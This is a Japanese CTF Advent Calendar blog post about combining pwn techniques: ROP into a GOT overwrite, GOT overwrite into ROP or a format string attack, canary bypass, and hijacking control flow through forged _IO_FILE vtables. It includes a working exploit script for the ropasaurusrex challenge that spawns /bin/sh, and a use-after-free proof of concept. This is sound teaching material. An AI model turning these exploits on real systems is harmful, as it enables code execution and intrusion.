Exploit系複合テクニックのメモ
この記事は「CTF Advent Calendar 2016」17日目の記事です。
ちょいちょい見かけてはいるのだが、実戦でよく忘れてしまうので応用の効きそうなものをまとめておく。
ROPからのGOT overwrite
単純なROP問題の場合、GOTに置かれた関数アドレスを読み出した後offsetからsystem関数のアドレスを計算し、それを用いてsystem("/bin/sh")
を呼ぶという流れになる。
最後の部分はStack pivotでやってもよいのだが、Full-RELROでない場合、すなわちGOTの書き換えができる場合はGOT overwriteしてPLT経由で呼んだほうが楽である。
x86でROPするだけで200点取ることができた、古きよき時代のropasaurusrex (PlaidCTF 2013)でやると次のようになる。
from minipwn import * s = connect_process(['./ropasaurusrex-85a84f36f81e11f720b1cf5ea0d1fb0d5a603c0d']) """ 0804830c <write@plt>: 804830c: ff 25 14 96 04 08 jmp DWORD PTR ds:0x8049614 8048312: 68 08 00 00 00 push 0x8 8048317: e9 d0 ff ff ff jmp 80482ec <__gmon_start__@plt-0x10> 0804832c <read@plt>: 804832c: ff 25 1c 96 04 08 jmp DWORD PTR ds:0x804961c 8048332: 68 18 00 00 00 push 0x18 8048337: e9 b0 ff ff ff jmp 80482ec <__gmon_start__@plt-0x10> 80484b6: 5e pop esi 80484b7: 5f pop edi 80484b8: 5d pop ebp 80484b9: c3 ret """ plt_write = 0x804830c plt_read = 0x804832c got_write = 0x8049614 addr_pop3 = 0x80484b6 buf = 'A' * 140 buf += p32(plt_write) + p32(addr_pop3) + p32(1) + p32(got_write) + p32(4) buf += p32(plt_read) + p32(addr_pop3) + p32(0) + p32(got_write) + p32(12) buf += p32(plt_write) + 'AAAA' + p32(got_write+4) sendline(s, buf) """ $ ldd ./ropasaurusrex-85a84f36f81e11f720b1cf5ea0d1fb0d5a603c0d linux-gate.so.1 => (0xf77b1000) libc.so.6 => /lib32/libc.so.6 (0xf75ef000) /lib/ld-linux.so.2 (0x56637000) $ nm -D /lib32/libc.so.6 | grep -e write -e system 0003a920 W system 000d4490 W write """ data = s.recv(8192) addr_write = u32(data) print "[+] addr_write = %x" % addr_write addr_system = addr_write - 0xd4490 + 0x3a920 s.sendall(p32(addr_system) + '/bin/sh\x00') interact(s)
$ python solve.py [+] addr_write = f7679490 id uid=1000(user) gid=1000(user) groups=1000(user)
Stack pivotしなくてよいので簡単になった。
x64の場合は引数をrdiレジスタに入れる必要があるが、libc_csu_init gadgetや適当なPLTをcallしている箇所を使うことでなんとでもなる。
GOT overwriteからのROP
逆に、GOT overwriteや関数ポインタ書き換えからpop-pop-ret gadgetなどに飛ばすことで、スタック上のバッファに置いたROP chainに繋げるという手法も知られている。
スタック上のバッファに読み込む箇所(read(0, local_buf, 1000)
など)に飛ばしてリターンアドレスを書き換え、無理やりROPに持っていくという手法もある。
多くの場合stack canaryのチェックがあるが、前もって__stack_chk_fail
のGOTをret gadgetなどに書き換えておけば通過できる。
GOT overwriteからのFormat String Attack
任意の入力を与えることができるatoi(buf)
のような関数のGOTをprintf系関数に書き換えることで、無理やりFormat String Attackに持っていくことができる。
これにより、スタック上に置かれたlibcやスタック、ヒープのアドレスをリークして、ASLRを回避できる。
stdin/stdout/stderr書き換えからのEIP奪取
ソースコード中に次のような処理が存在する場合、実行ファイルのbss上にstdin/stdout/stderrへのポインタが置かれる。
$ cat test.c #include <stdio.h> int main() { char buf[100]; fprintf(stderr, "stdin=%p, stdout=%p, stderr=%p\n", &stdin, &stdout, &stderr); fgets(buf, 100, stdin); fputs(buf, stdout); return 0; } $ gcc test.c -o test $ ./test stdin=0x601070, stdout=0x601060, stderr=0x601080 AAAA AAAA
これらのポインタは_IO_FILE_plus構造体を指しており、この構造体は関数テーブルへのポインタ(vtable)を持っている。 したがって、bss上のポインタを適当なバッファを指すように書き換え、fgets等が呼ばれる際に参照される関数テーブル内のポインタをコントロールすれば、任意のアドレスに飛ばすことができる。
- File Stream Pointer Overflows Paper.
- abusing the FILE structure « codeblog
- katagaitai CTF勉強会 #2 pwnables編 - PlaidCTF 2013 pwn200 ropasaurusrex (pp.203-204)
なお、fopen関数が返すポインタも実体は_IO_FILE_plus構造体なので、use-after-freeと組み合わせることで同様にEIP奪取ができる。
#include <stdio.h> #include <stdlib.h> #include <string.h> void wontcall() { system("false"); } int main() { char *p1 = malloc(0x220); printf("p1 = %p\n", p1); free(p1); FILE *fp = fopen("/etc/passwd", "r"); printf("fp = %p\n", fp); void *got_system = 0x601028; memset(p1, 'A', 0xd8); strcpy(p1, "\x01\x80;/bin/sh"); /* _IO_FILE_plus.file._flags & _IO_USER_LOCK != 0 */ *(void **)(p1+0xd8) = got_system-0x10; /* _IO_FILE_plus.vtable->__finish == got_system */ fclose(fp); return 0; }
$ gcc uaf-fopen.c -o uaf-fopen uaf-fopen.c: In function ‘main’: uaf-fopen.c:19:24: warning: initialization makes pointer from integer without a cast [-Wint-conversion] void *got_system = 0x601028; ^ $ ldd ./uaf-fopen linux-vdso.so.1 => (0x00007ffeff303000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f792b872000) /lib64/ld-linux-x86-64.so.2 (0x000055f30352e000) $ /lib/x86_64-linux-gnu/libc.so.6 GNU C Library (Ubuntu GLIBC 2.23-0ubuntu3) stable release version 2.23, by Roland McGrath et al. (snip) $ ./uaf-fopen p1 = 0x1234010 fp = 0x1234010 sh: 1: �: not found $ id uid=1000(user) gid=1000(user) groups=1000(user) $ Segmentation fault (core dumped)
なお、glibc 2.24以降ではチェックが加えられているらしい。